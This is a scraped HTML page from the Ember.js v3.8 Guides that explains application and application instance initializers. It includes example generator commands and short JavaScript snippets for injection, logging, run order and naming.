initializers: application initializers and application instance initializers. Application initializers are run as your application boots, and provide..."> <!----> <!----> <!----><meta name="ember-cli-head-end" content> <link integrity="" rel="stylesheet" href="/assets/vendor-c5cdfdb224e40208d070a18942b32fd3.css"> <link integrity="" rel="stylesheet" href="/assets/ember-guides-92dca9f7555a994d11fd3e94376c4753.css"> <link rel="shortcut icon" href="/images/favicon.png" /> </head> <body class="application version show version-show"> <script type="x/boundary" id="fastboot-body-start"></script><!----> <header id="ember412719" class="es-header ember-view" role="banner"><div id="ember412720" class="ember-view"><div class="container"> <nav id="ember412721" class="navbar navbar-inverse navbar-expand-lg bg-inverse ember-view"> <a class="navbar-brand" href="https://www.emberjs.com"> <svg width="94" height="37" viewBox="0 0 259 100" xmlns="http://www.w3.org/2000/svg"><title>Ember Logo 1c White</title><g fill="#FFF" fill-rule="evenodd"><path d="M253.97 68.576s-6.28 4.872-11.807 4.328c-5.528-.544-3.792-12.896-3.792-12.896s1.192-11.328-2.064-12.28c-3.248-.944-7.256 2.952-7.256 2.952s-4.984 5.528-7.368 12.576l-.656.216s.76-12.36-.104-15.176c-.648-1.408-6.608-1.296-7.584 1.192-.976 2.496-5.744 19.832-6.072 27.096 0 0-9.32 7.912-17.44 9.208-8.128 1.304-10.08-3.792-10.08-3.792s22.104-6.176 21.344-23.84c-.752-17.664-17.824-11.128-19.752-9.68-1.872 1.408-11.848 7.424-14.76 24.088-.096.56-.272 3.04-.272 3.04s-8.56 5.736-13.328 7.256c0 0 13.328-22.432-2.92-32.616-4.574-2.753-8.56-.216-10.929 2.11-1.451 1.425 19.705-21.718 14.825-42.422C151.635.08 146.707-.976 142.187.624c-6.864 2.704-9.464 6.712-9.464 6.712s-8.888 12.896-10.952 32.08c-2.056 19.176-5.088 42.368-5.088 42.368s-4.232 4.12-8.128 4.336c-3.904.208-2.168-11.6-2.168-11.6s3.032-17.984 2.824-21.024c-.224-3.032-.44-4.656-4.016-5.736-3.576-1.088-7.48 3.464-7.48 3.464s-10.288 15.6-11.152 17.984l-.552.984-.536-.656s7.256-21.24.328-21.56c-6.936-.328-11.488 7.584-11.488 7.584s-7.912 13.224-8.24 14.736l-.536-.648s3.248-15.384 2.6-19.184c-.656-3.792-4.224-3.032-4.224-3.032s-4.552-.544-5.744 2.384c-1.192 2.928-5.528 22.32-6.072 28.496 0 0-11.376 8.128-18.856 8.232-7.472.112-6.712-4.736-6.712-4.736s27.416-9.384 19.936-27.912c-3.36-4.768-7.256-6.264-12.784-6.16-5.528.112-12.384 3.48-16.824 13.448-2.128 4.752-2.896 9.272-3.336 12.68 0 0-4.792.984-7.392-1.184-2.608-2.168-3.944 0-3.944 0s-4.464 5.696-.024 7.424c4.448 1.736 11.376 2.544 11.376 2.544.64 3.032 2.488 8.192 7.904 12.296 8.128 6.176 23.72-.568 23.72-.568l6.392-3.584s.216 5.864 4.88 6.72c4.656.856 6.608-.016 14.736-19.736 4.768-10.08 5.096-9.536 5.096-9.536.536-.112-3.144 19.176-1.736 24.376 1.408 5.208 7.584 4.664 7.584 4.664s3.36.648 6.072-8.888c2.704-9.536 7.912-20.048 7.912-20.048.64 0-1.632 19.72 1.832 26.008 3.472 6.288 12.464 2.112 12.464 2.112s6.288-3.168 7.264-4.144c0 0 7.456 6.352 17.976 5.2 23.52-4.632 31.888-10.888 31.888-10.888s4.04 10.24 16.56 11.192c14.296 1.08 22.104-7.912 22.104-7.912s-.112 5.848 4.872 7.912c4.992 2.056 8.344-9.52 8.344-9.52l8.344-22.992c.76 0 1.192 14.952 9.432 17.336 8.232 2.384 18.96-5.584 18.96-5.584s2.6-1.432 2.168-5.768c-.44-4.336-4.336-2.72-4.336-2.72zM36.93 57.728c2.92 2.816 1.84 8.88-3.687 12.672-5.52 3.8-8.016 3.04-8.016 3.04.328-12.896 8.784-18.536 11.704-15.712zm107.817-44.536c1.84 9.752-16.144 38.792-16.144 38.792.216-6.504 6.608-28.496 6.608-28.496s7.688-20.048 9.536-10.296zM126.97 87.2s-1.408-4.768 2.6-18.096c4.016-13.328 13.44-8.128 13.44-8.128s6.504 4.984 1.408 18.312C139.33 92.616 126.97 87.2 126.97 87.2zm54.832-26.112c4.44-8.128 7.912-3.688 7.912-3.688s3.792 4.12-.544 10.296c-4.336 6.176-10.616 5.744-10.616 5.744s-1.192-4.232 3.248-12.352z"/><path d="M226.028 93.977v-1.555h.986c.137 0 .274.015.418.03.144.02.28.057.396.107.122.05.216.122.288.216.079.094.115.223.115.382 0 .36-.108.59-.324.684-.216.093-.497.136-.835.136h-1.044zm-1.174-2.47v5.92h1.174v-2.528h.734l1.44 2.527h1.231l-1.584-2.585a2.8 2.8 0 0 0 .612-.13c.187-.064.353-.158.49-.28.144-.122.252-.28.331-.475.086-.195.122-.425.122-.699 0-.64-.201-1.094-.597-1.353-.403-.267-.98-.396-1.72-.396h-2.233zm-1.88 2.967c0-.605.102-1.159.31-1.663.21-.504.49-.936.85-1.303a3.853 3.853 0 0 1 1.26-.864 3.93 3.93 0 0 1 1.562-.31c.548 0 1.066.101 1.548.31.49.209.908.497 1.268.864s.64.8.856 1.303c.21.504.317 1.058.317 1.663s-.108 1.16-.317 1.67c-.216.505-.496.951-.856 1.318-.36.375-.778.663-1.268.871-.482.21-1 .31-1.548.31a3.93 3.93 0 0 1-1.562-.31 3.765 3.765 0 0 1-1.26-.87 4.109 4.109 0 0 1-.85-1.318 4.366 4.366 0 0 1-.31-1.67zm-1.446 0c0 .814.15 1.541.446 2.19.302.654.698 1.209 1.195 1.67.504.46 1.08.813 1.735 1.058.656.245 1.34.367 2.052.367.72 0 1.404-.122 2.06-.367a5.282 5.282 0 0 0 1.735-1.059 5.234 5.234 0 0 0 1.195-1.67c.295-.648.44-1.375.44-2.189 0-.799-.145-1.526-.44-2.174a5.125 5.125 0 0 0-2.93-2.722 5.675 5.675 0 0 0-2.06-.374c-.712 0-1.396.122-2.052.374a5.125 5.125 0 0 0-2.93 2.722c-.295.648-.446 1.375-.446 2.174z"/></g></svg> </a> <button id="ember412722" class="navbar-toggler collapsed ember-view"> <span class="navbar-toggler-icon"></span> </button> <div id="ember412723" class="navbar-collapse collapse ember-view"><ul id="ember412724" class="mr-auto nav navbar-nav ember-view"><!----><li id="ember412725" class="dropdown nav-item ember-view"> <a href="#" id="ember412726" class="dropdown-toggle nav-link ember-view" role="button">Docs <span class="caret"></span></a> <!----> </li> <!----><li id="ember412728" class="dropdown nav-item ember-view"> <a href="#" id="ember412729" class="dropdown-toggle nav-link ember-view" role="button">Releases <span class="caret"></span></a> <!----> </li> <li id="ember412731" class="nav-item ember-view"> <a href="https://emberjs.com/blog" class="nav-link">Blog</a> </li><!----> <!----><li id="ember412732" class="dropdown nav-item ember-view"> <a href="#" id="ember412733" class="dropdown-toggle nav-link ember-view" role="button">Community <span class="caret"></span></a> <!----> </li> <!----><li id="ember412735" class="dropdown nav-item ember-view"> <a href="#" id="ember412736" class="dropdown-toggle nav-link ember-view" role="button">About <span class="caret"></span></a> <!----> </li> </ul><ul id="ember412738" class="nav navbar-nav ember-view"> <form> <div id="ember412739" class="search-input ember-view"> <input id="search-input" placeholder="Search the guides" autocomplete="off" type="search"> <div id="ember412740" class="ds-dropdown-results ember-tether ember-view"><!----></div></div> </form> </ul> </div> </nav></div> </div> </header> <!----> <div class="info-banner-wrapper"> <div class="info-banner-container"> <div id="ember412741" class="ember-view"><p>Ember Octane is here! A lot has changed since Ember 3.14, including these Guides. Read more in the <a href="https://blog.emberjs.com/2019/12/20/octane-is-here.html">Ember Blog</a>.</p> </div> </div> </div> <main class="container"> <aside class="sidebar"> <label for="version-select" class="visually-hidden">Guides version</label> <div id="ember412742" class="ember-basic-dropdown ember-view"> <div aria-label="v3.8.0" aria-owns="ember-basic-dropdown-content-ember412742" tabindex="0" data-ebd-id="ember412742-trigger" role="button" id="ember412743" class="ember-power-select-trigger ember-basic-dropdown-trigger ember-basic-dropdown-trigger--in-place ember-view"> <span class="ember-power-select-selected-item"> 3.8 (LTS) </span> <!----><span class="ember-power-select-status-icon"></span> </div> <div id="ember-basic-dropdown-content-ember412742" class="ember-basic-dropdown-content-placeholder" style="display: none;"></div> </div> <input id="toc-toggle" class="toc-toggle visually-hidden" type="checkbox"> <label for="toc-toggle">Table of Contents <span class="visually-hidden">toggle</span></label> <nav class="toc-container versions" aria-label="table of contents"> <ol id="ember412747" class="toc-level-0 ember-view"><!----> <li class="toc-group toc-level-0"> <div id="ember412750" class="cp-Panel cp-is-closed ember-view"><a href="/v3.8.0/getting-started" id="ember412751" class="cp-Panel-toggle ember-view"> Getting Started </a> <div id="ember412752" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember412754" class="cp-Panel cp-is-closed ember-view"><a href="/v3.8.0/tutorial" id="ember412755" class="cp-Panel-toggle ember-view"> Tutorial </a> <div id="ember412756" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember412758" class="cp-Panel cp-is-closed ember-view"><a href="/v3.8.0/object-model" id="ember412759" class="cp-Panel-toggle ember-view"> The Object Model </a> <div id="ember412760" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember412762" class="cp-Panel cp-is-closed ember-view"><a href="/v3.8.0/templates" id="ember412763" class="cp-Panel-toggle ember-view"> Templating </a> <div id="ember412764" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember412766" class="cp-Panel cp-is-closed ember-view"><a href="/v3.8.0/components" id="ember412767" class="cp-Panel-toggle ember-view"> Components </a> <div id="ember412768" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember412770" class="cp-Panel cp-is-closed ember-view"><a href="/v3.8.0/controllers" id="ember412771" class="cp-Panel-toggle ember-view"> Controllers </a> <div id="ember412772" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember412774" class="cp-Panel cp-is-closed ember-view"><a href="/v3.8.0/routing" id="ember412775" class="cp-Panel-toggle ember-view"> Routing </a> <div id="ember412776" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember412778" class="cp-Panel cp-is-closed ember-view"><a href="/v3.8.0/models" id="ember412779" class="cp-Panel-toggle ember-view"> Ember Data </a> <div id="ember412780" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember412782" class="cp-Panel cp-is-closed ember-view"><a href="/v3.8.0/addons-and-dependencies" id="ember412783" class="cp-Panel-toggle ember-view"> Addons and Dependencies </a> <div id="ember412784" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember412786" class="cp-Panel cp-is-closed ember-view"><a href="/v3.8.0/testing" id="ember412787" class="cp-Panel-toggle ember-view"> Testing </a> <div id="ember412788" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember412790" class="cp-Panel cp-is-closed ember-view"><a href="/v3.8.0/configuring-ember" id="ember412791" class="cp-Panel-toggle ember-view"> Configuration </a> <div id="ember412792" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember412794" class="cp-Panel cp-is-open ember-view"><a href="/v3.8.0/applications" id="ember412795" class="cp-Panel-toggle ember-view"> Application Concerns </a> <div id="ember412796" class="cp-Panel-body cp-is-open ember-view"> <div class="cp-Panel-body-inner"> <ol id="ember412797" class="toc-level-1 ember-view"> <li class="toc-link toc-level-1 "> <a href="/v3.8.0/applications/applications-and-instances" id="ember412799" class="ember-view"> Applications and Instances </a> </li> <li class="toc-link toc-level-1 "> <a href="/v3.8.0/applications/dependency-injection" id="ember412801" class="ember-view"> Dependency Injection </a> </li> <li class="toc-link toc-level-1 selected"> <a href="/v3.8.0/applications/initializers" id="ember412803" class="selected ember-view"> Initializers </a> </li> <li class="toc-link toc-level-1 "> <a href="/v3.8.0/applications/services" id="ember412805" class="ember-view"> Services </a> </li> <li class="toc-link toc-level-1 "> <a href="/v3.8.0/applications/run-loop" id="ember412807" class="ember-view"> The Run Loop </a> </li> </ol> </div> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember412809" class="cp-Panel cp-is-closed ember-view"><a href="/v3.8.0/ember-inspector" id="ember412810" class="cp-Panel-toggle ember-view"> Ember Inspector </a> <div id="ember412811" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember412813" class="cp-Panel cp-is-closed ember-view"><a href="/v3.8.0/contributing" id="ember412814" class="cp-Panel-toggle ember-view"> Contributing to Ember.js </a> <div id="ember412815" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember412817" class="cp-Panel cp-is-closed ember-view"><a href="/v3.8.0/glossary" id="ember412818" class="cp-Panel-toggle ember-view"> Glossary </a> <div id="ember412819" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember412821" class="cp-Panel cp-is-closed ember-view"><a href="/v3.8.0/reference" id="ember412822" class="cp-Panel-toggle ember-view"> Reference </a> <div id="ember412823" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> </ol> </nav> </aside> <article id="ember412824" class="chapter ember-view"> <div class="old-version-warning"> <i class="icon-attention-circled"></i><strong>Old Guides - </strong>You are viewing the guides for Ember v3.8.0. <a href="/release/applications/initializers" id="ember412825" class="btn ember-view"> VIEW v3.15.0 </a> </div> <a href="https://github.com/ember-learn/guides-source/edit/master/guides/v3.8.0/applications/initializers.md" target="_blank" class="edit-page icon-pencil" rel="noopener"> Edit Page </a> <h1> Initializers </h1> <hr> <div id="ember412826" class="ember-view"><p>Initializers provide an opportunity to configure your application as it boots.</p> <p>There are two types of initializers: application initializers and application instance initializers.</p> <p>Application initializers are run as your application boots, and provide the primary means to configure <a href="../dependency-injection/">dependency injections</a> in your application.</p> <p>Application instance initializers are run as an application instance is loaded. They provide a way to configure the initial state of your application, as well as to set up dependency injections that are local to the application instance (e.g. A/B testing configurations).</p> <p>Operations performed in initializers should be kept as lightweight as possible to minimize delays in loading your application. Although advanced techniques exist for allowing asynchrony in application initializers (i.e. <code>deferReadiness</code> and <code>advanceReadiness</code>), these techniques should generally be avoided. Any asynchronous loading conditions (e.g. user authorization) are almost always better handled in your application route's hooks, which allows for DOM interaction while waiting for conditions to resolve.</p> <h2 id="toc_application-initializers">Application Initializers</h2> <section aria-labelledby="toc_application-initializers"> <p>Application initializers can be created with Ember CLI's <code>initializer</code> generator:</p> <pre><code class="bash language-bash">ember generate initializer shopping-cart </code></pre> <p>Let's customize the <code>shopping-cart</code> initializer to inject a <code>cart</code> property into all the routes in your application:</p> <pre><code class="javascript language-javascript"data-filename=app/initializers/shopping-cart.js>export function initialize(application) { application.inject('route', 'cart', 'service:shopping-cart'); }; export default { initialize }; </code></pre> </section> <h2 id="toc_application-instance-initializers">Application Instance Initializers</h2> <section aria-labelledby="toc_application-instance-initializers"> <p>Application instance initializers can be created with Ember CLI's <code>instance-initializer</code> generator:</p> <pre><code class="bash language-bash">ember generate instance-initializer logger </code></pre> <p>Let's add some simple logging to indicate that the instance has booted:</p> <pre><code class="javascript language-javascript"data-filename=app/instance-initializers/logger.js>export function initialize(applicationInstance) { let logger = applicationInstance.lookup('logger:main'); logger.log('Hello from the instance initializer!'); } export default { initialize }; </code></pre> </section> <h2 id="toc_specifying-initializer-order">Specifying Initializer Order</h2> <section aria-labelledby="toc_specifying-initializer-order"> <p>If you'd like to control the order in which initializers run, you can use the <code>before</code> and/or <code>after</code> options:</p> <pre><code class="javascript language-javascript"data-filename=app/initializers/config-reader.js>export function initialize(application) { // ... your code ... }; export default { before: 'websocket-init', initialize }; </code></pre> <pre><code class="javascript language-javascript"data-filename=app/initializers/websocket-init.js>export function initialize(application) { // ... your code ... }; export default { after: 'config-reader', initialize }; </code></pre> <pre><code class="javascript language-javascript"data-filename=app/initializers/asset-init.js>export function initialize(application) { // ... your code ... }; export default { after: ['config-reader', 'websocket-init'], initialize }; </code></pre> <p>Note that ordering only applies to initializers of the same type (i.e. application or application instance). Application initializers will always run before application instance initializers.</p> </section> <h2 id="toc_customizing-initializer-names">Customizing Initializer Names</h2> <section aria-labelledby="toc_customizing-initializer-names"> <p>By default initializer names are derived from their module name. This initializer will be given the name <code>logger</code>:</p> <pre><code class="javascript language-javascript"data-filename=app/instance-initializers/logger.js>export function initialize(applicationInstance) { let logger = applicationInstance.lookup('logger:main'); logger.log('Hello from the instance initializer!'); } export default { initialize }; </code></pre> <p>If you want to change the name you can simply rename the file, but if needed you can also specify the name explicitly:</p> <pre><code class="javascript language-javascript"data-filename=app/instance-initializers/logger.js>export function initialize(applicationInstance) { let logger = applicationInstance.lookup('logger:main'); logger.log('Hello from the instance initializer!'); } export default { name: 'my-logger', initialize }; </code></pre> <p>This initializer will now have the name <code>my-logger</code>.</p> </section> </div> <footer id="ember412827" class="ember-view"> <a href="/v3.8.0/applications/dependency-injection" id="ember412828" class="previous-guide ember-view">Dependency Injection</a> <a href="/v3.8.0/applications/services" id="ember412829" class="next-guide ember-view"> Services </a></footer> </article> </main> <footer id="ember412830" class="es-footer ember-view" role="contentinfo"><div class="footer responsive"> <div class="container"> <div id="ember412831" class="footer-info ember-view"> Copyright 2020 <a href="http://tilde.io">Tilde Inc.</a> <br> <a href="https://emberjs.com/team">Team</a> | <a href="https://emberjs.com/sponsors">Sponsors</a> <br> <a href="https://emberjs.com/security">Security</a> | <a href="https://emberjs.com/legal">Legal</a> | <a href="https://emberjs.com/brand">Brand</a> <br> <a href="https://emberjs.com/guidelines">Community Guidelines</a> <!----></div> <div id="ember412832" class="footer-statement ember-view"> <p class="footer-tagline">Ember.js is free, open source and always will be.</p> <div class="footer-social"> <a href="http://twitter.com/emberjs" title="Twitter"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1000 1000"><path d="M939.5 227.941q-37 54-90 93v23q0 73-21 145t-64 139q-43 67-103 117t-144 82q-84 32-181 30-151 0-276-81 19 2 43 2 126 0 224-77-59-1-105-36t-64-89q19 3 34 3 24 0 48-6-63-13-104-62t-41-115v-2q38 21 82 23-37-25-59-64t-22-86q0-49 25-91 68 83 164 133t208 55q-5-21-5-41 0-75 53-127t127-53q79 0 132 57 61-12 115-44-21 64-80 100 52-6 104-28z"/></svg> </a> <a href="https://github.com/emberjs/ember.js" title="GitHub"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1000 1000"><path d="M392 643q0 22-7 45t-24 43q-17 20-40 19t-41-19q-18-18-24-43t-7-45q-1-20 7-46t24-43q16-17 41-19t40 19q15 21 24 43t7 46zm357 0q0 22-7 45t-24 43q-17 20-40 19t-41-19q-18-18-24-43t-7-45q-1-20 7-46t24-43q16-17 41-19t40 19q15 21 24 43t7 46zm90 0q0-67-39-114t-104-47q-23 0-109 12-40 6-88 6t-87-6q-85-12-109-12-66 0-104 47t-39 114q0 49 18 85t45 58q27 22 68 33t78 17q37 6 83 4h94q46 0 83-4t78-17q41-13 69-33t45-58q17-38 18-85zm125-99q0 116-34 185-22 43-59 74t-79 48q-42 17-95 27t-96 12q-43 2-93 3-43 0-79-2t-82-7q-46-5-85-17t-77-29q-38-17-67-45t-48-64q-35-69-35-185 0-132 76-221-15-45-15-95 0-64 28-121 61 0 106 22t106 69q82-20 172-20 83 0 157 18 58-46 104-67t105-22q29 57 29 121 0 49-15 94 76 89 76 222z"/></svg> </a> <a href="https://discordapp.com/invite/zT3asNS" title="Discord"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 245 240"><path d="M104.4 103.9c-5.7 0-10.2 5-10.2 11.1s4.6 11.1 10.2 11.1c5.7 0 10.2-5 10.2-11.1.1-6.1-4.5-11.1-10.2-11.1zm36.5 0c-5.7 0-10.2 5-10.2 11.1s4.6 11.1 10.2 11.1c5.7 0 10.2-5 10.2-11.1s-4.5-11.1-10.2-11.1z"/><path class="st0" d="M189.5 20h-134C44.2 20 35 29.2 35 40.6v135.2c0 11.4 9.2 20.6 20.5 20.6h113.4l-5.3-18.5 12.8 11.9 12.1 11.2 21.5 19V40.6c0-11.4-9.2-20.6-20.5-20.6zm-38.6 130.6s-3.6-4.3-6.6-8.1c13.1-3.7 18.1-11.9 18.1-11.9-4.1 2.7-8 4.6-11.5 5.9-5 2.1-9.8 3.5-14.5 4.3-9.6 1.8-18.4 1.3-25.9-.1-5.7-1.1-10.6-2.7-14.7-4.3-2.3-.9-4.8-2-7.3-3.4-.3-.2-.6-.3-.9-.5-.2-.1-.3-.2-.4-.3-1.8-1-2.8-1.7-2.8-1.7s4.8 8 17.5 11.8c-3 3.8-6.7 8.3-6.7 8.3-22.1-.7-30.5-15.2-30.5-15.2 0-32.2 14.4-58.3 14.4-58.3 14.4-10.8 28.1-10.5 28.1-10.5l1 1.2c-18 5.2-26.3 13.1-26.3 13.1s2.2-1.2 5.9-2.9c10.7-4.7 19.2-6 22.7-6.3.6-.1 1.1-.2 1.7-.2 6.1-.8 13-1 20.2-.2 9.5 1.1 19.7 3.9 30.1 9.6 0 0-7.9-7.5-24.9-12.7l1.4-1.6s13.7-.3 28.1 10.5c0 0 14.4 26.1 14.4 58.3 0 0-8.5 14.5-30.6 15.2z"/></svg> </a> </div> </div> <div id="ember412833" class="footer-contributions ember-view"> <div class="contributor"> <p>Hosted by:</p> <a href="https://www.heroku.com/emberjs"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 72.5 80.5" class="contributor-logo"><defs><style>.cls-1{fill:#999}</style></defs><path class="cls-1" d="M65.05.25H7.45a7.2 7.2 0 0 0-7.2 7.2v65.6a7.2 7.2 0 0 0 7.2 7.2h57.6a7.2 7.2 0 0 0 7.2-7.2V7.45a7.2 7.2 0 0 0-7.2-7.2zm-46.8 68v-16l9 8zm28 0V44.36c0-1.87-.94-4.11-5-4.11-8.13 0-17.26 4.09-17.35 4.13l-5.65 2.56V12.25h8V35a50.63 50.63 0 0 1 15-2.71c4.94 0 7.9 1.94 9.52 3.57a12.48 12.48 0 0 1 3.48 8.43v24zm2-43h-8a31.1 31.1 0 0 0 6-13h8a23.44 23.44 0 0 1-6 13z" id="black"/></svg> </a> </div> <div class="contributor"> <p>CDN provided by:</p> <a href="https://www.fastly.com"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1626 640" class="contributor-logo"><defs><style>.cls-1{fill:#999}</style></defs><path class="cls-1" d="M1105.2 71.3v421.1h126.4v-64.3h-41.8V7.2h-84.7l.1 64.1zM6.9 428.1h43V224.9h-43V169l43-7.1v-56.6c0-68.5 14.9-98.2 102.3-98.2 18.9 0 41.2 2.8 60.8 6.3l-11.6 68.9c-13.3-2.1-19.8-2.5-28.2-2.5-30.8 0-38.6 3.1-38.6 33.1V162h63.9v62.9h-63.9V428h42.5v64.3H6.9zM1062.1 407.7c-13.2 2.8-24.8 2.5-33.2 2.7-34.8.9-31.8-10.6-31.8-43.5v-142h66.3V162H997V7.2h-84.7v377.3c0 74.1 18.3 107.9 98 107.9 18.9 0 44.8-4.9 64.4-9zM1588.2 428.4a32 32 0 1 1-32.1 32 31.95 31.95 0 0 1 32.1-32m0 58.9a26.75 26.75 0 1 0 0-53.5 26.75 26.75 0 0 0 0 53.5m5.9-11.2l-6.5-9.5h-4.5v9.5h-7.2v-31.4h13.1c7.8 0 12.6 3.9 12.6 10.9 0 5.1-2.6 8.6-6.6 9.8l7.8 10.8h-8.7zm-10.9-15.8h5.7c3.3 0 5.5-1.3 5.5-4.7s-2.2-4.6-5.3-4.6h-5.9v9.3zM806.6 224.8v-11.3c-25.6-4.7-51.1-4.7-64.9-4.7-39.4 0-44.2 20.9-44.2 32.2 0 16 5.5 24.7 48.2 34 62.4 14 125.1 28.6 125.1 106 0 73.4-37.8 111.3-117.3 111.3-53.2 0-104.8-11.4-144.2-21.4v-63.2h64.1v11.2c27.6 5.3 56.5 4.8 71.6 4.8 42 0 48.8-22.6 48.8-34.6 0-16.7-12.1-24.7-51.5-32.7-74.2-12.7-133.2-38-133.2-113.5 0-71.4 47.7-99.4 127.3-99.4 53.9 0 94.8 8.4 134.2 18.4v62.8h-64zM416.9 280.4l-6.4-6.4-32.7 28.5a15.53 15.53 0 0 0-5.3-.9 16.4 16.4 0 1 0 16 16.4 19.32 19.32 0 0 0-.7-4.9z"/><path class="cls-1" d="M546.6 407.7l-.1-263.6h-84.7v24.7a173.6 173.6 0 0 0-57.6-21.8h.5v-29.2H415V96.3h-85.3v21.5H340V147h.6A174.1 174.1 0 1 0 462 467.4l15.3 24.9h89.5v-84.7h-20.2zm-169.1-.1v-10h-10.1v9.9a89.59 89.59 0 0 1-84.2-84.7h10.1v-10.1h-10a89.55 89.55 0 0 1 84.1-84v10h10.1v-10a89.67 89.67 0 0 1 84.4 81.5v2.9h-10.2v10.1h10.2v2.8a89.6 89.6 0 0 1-84.4 81.6zM1446 162h174.7v62.9h-41.8l-107.1 263.6c-30.7 74-81.1 143.7-157.9 143.7-18.9 0-44-2.1-61.5-6.3l7.7-76.9a218.08 218.08 0 0 0 33.5 3.5c35.6 0 75.8-22.1 88.4-60.5l-108.6-267.1h-41.8V162h174.8v62.9h-41.7l61.5 151.3 61.5-151.3H1446z"/></svg> </a> </div> <div class="contributor"> <p>Tested with:</p> <a href="https://percy.io"> <svg viewBox="0 0 423 125" fill="none" xmlns="http://www.w3.org/2000/svg" class="contributor-logo"><path fill-rule="evenodd" clip-rule="evenodd" d="M400.648 112.355c-.232.748-.608 1.273-1.127 1.568l-.15.076c-.562.234-1.163.2-1.871.023-2.286-.574-12.884-1.789-8.645-14.407l2.514-7.485-.57-1.455-2.755-6.677-17.26-40.878c-.38-.848-.242-1.62.097-2.147.351-.549.971-.826 1.846-.842h9.821c.673 0 1.245.185 1.684.53.44.348.762.878 1.035 1.531l12.67 30.214 9.088-30.13c.195-.72.54-1.268 1.004-1.632.455-.355 1.037-.532 1.716-.532h10.487c.89 0 1.522.257 1.894.738.372.499.422 1.22.146 2.149l-14.103 45.12-5.44 17.506-2.081 6.73zM359.293 71.74h10.723c1.657 0 2.632 1.076 2.047 2.74-3.022 10.177-12.575 17.223-23.981 17.223-14.817 0-25.831-11.255-25.831-25.835s11.014-25.833 25.831-25.833c11.406 0 20.959 7.045 23.981 17.222.585 1.663-.39 2.74-2.047 2.74h-10.723c-1.268 0-2.145-.587-2.925-1.663-1.754-2.446-4.776-3.817-8.286-3.817-6.335 0-11.21 4.6-11.21 11.351 0 6.753 4.875 11.352 11.21 11.352 3.51 0 6.532-1.37 8.286-3.718.78-1.175 1.559-1.762 2.925-1.762zm-52.512-29.06v2.55c1.212-2.158 3.978-5.221 11.198-5.123.524.006.945.206 1.255.53.455.474.673 1.115.673 1.943v11.96c0 .812-.169 1.42-.522 1.826-.337.404-.842.608-1.497.608-1.431-.05-2.794.1-4.124.455a9.778 9.778 0 0 0-3.551 1.791c-1.043.845-1.881 1.98-2.49 3.362-.619 1.404-.933 3.108-.942 5.136l-.069 12.755c-.072 13.321-10.191 11.303-12.553 11.166-.806-.046-1.432-.219-1.868-.658-.438-.44-.657-1.065-.657-1.875V42.68c0-.81.219-1.436.657-1.875.437-.44 1.061-.658 1.868-.658h10.097c.807 0 1.431.219 1.868.658.438.44.657 1.064.657 1.875zm-43.748-2.622c3.564.017 6.835.666 9.816 1.951a23.428 23.428 0 0 1 7.758 5.398c2.185 2.326 3.886 5.04 5.085 8.161 1.198 3.122 1.814 6.536 1.83 10.243 0 .634-.016 1.252-.065 1.838a65.191 65.191 0 0 1-.129 1.772c-.097.78-.389 1.348-.842 1.707-.454.358-1.053.536-1.782.536h-32.457c.615 1.919 1.474 3.479 2.607 4.682a10.428 10.428 0 0 0 3.952 2.602c1.507.552 3.11.812 4.811.812 1.376-.016 2.704-.227 3.968-.665 1.247-.44 2.332-1.026 3.223-1.773.47-.39.94-.7 1.393-.927.47-.227 1.004-.341 1.619-.341l9.329-.097c.892.016 1.539.276 1.928.78.372.504.388 1.154.016 1.95-1.279 2.83-2.981 5.203-5.102 7.106-2.122 1.918-4.584 3.348-7.386 4.325-2.801.958-5.862 1.447-9.182 1.447-4.05-.018-7.694-.683-10.933-1.985-3.255-1.3-6.025-3.104-8.324-5.446-2.317-2.324-4.082-5.057-5.313-8.161-1.23-3.122-1.847-6.504-1.863-10.162.016-3.658.649-7.04 1.912-10.16 1.263-3.107 3.044-5.838 5.36-8.163 2.301-2.34 5.054-4.146 8.228-5.446 3.175-1.3 6.689-1.967 10.543-1.984zm-68.18 5.316a22.761 22.761 0 0 1 6.533-3.865 21.372 21.372 0 0 1 7.61-1.408c6.452 0 12.76 2.895 16.989 7.575 4.223 4.673 6.836 11.128 6.836 18.253s-2.613 13.579-6.836 18.252c-4.23 4.679-10.537 7.575-16.989 7.575-4.725 0-9.683-1.492-13.137-4.816l.01 15.843c.008 13.321-10.192 11.302-12.554 11.166-.803-.046-1.432-.221-1.868-.66-.436-.437-.656-1.066-.656-1.874l-.032-68.665c0-.826.224-1.477.674-1.928.449-.451 1.094-.677 1.92-.677h8.871c.827 0 1.472.226 1.92.677.45.45.665 1.095.675 1.928l.033 2.624zm25.217 20.418c0-6.283-5.041-11.377-11.26-11.377-6.22 0-11.26 5.094-11.26 11.377 0 6.285 5.04 11.379 11.26 11.379 6.219 0 11.26-5.094 11.26-11.379zm36.016-10.825c-1.83 1.268-3.126 3.138-3.887 5.577h20.811c-.518-1.838-1.295-3.317-2.333-4.422a9.086 9.086 0 0 0-3.562-2.374 11.773 11.773 0 0 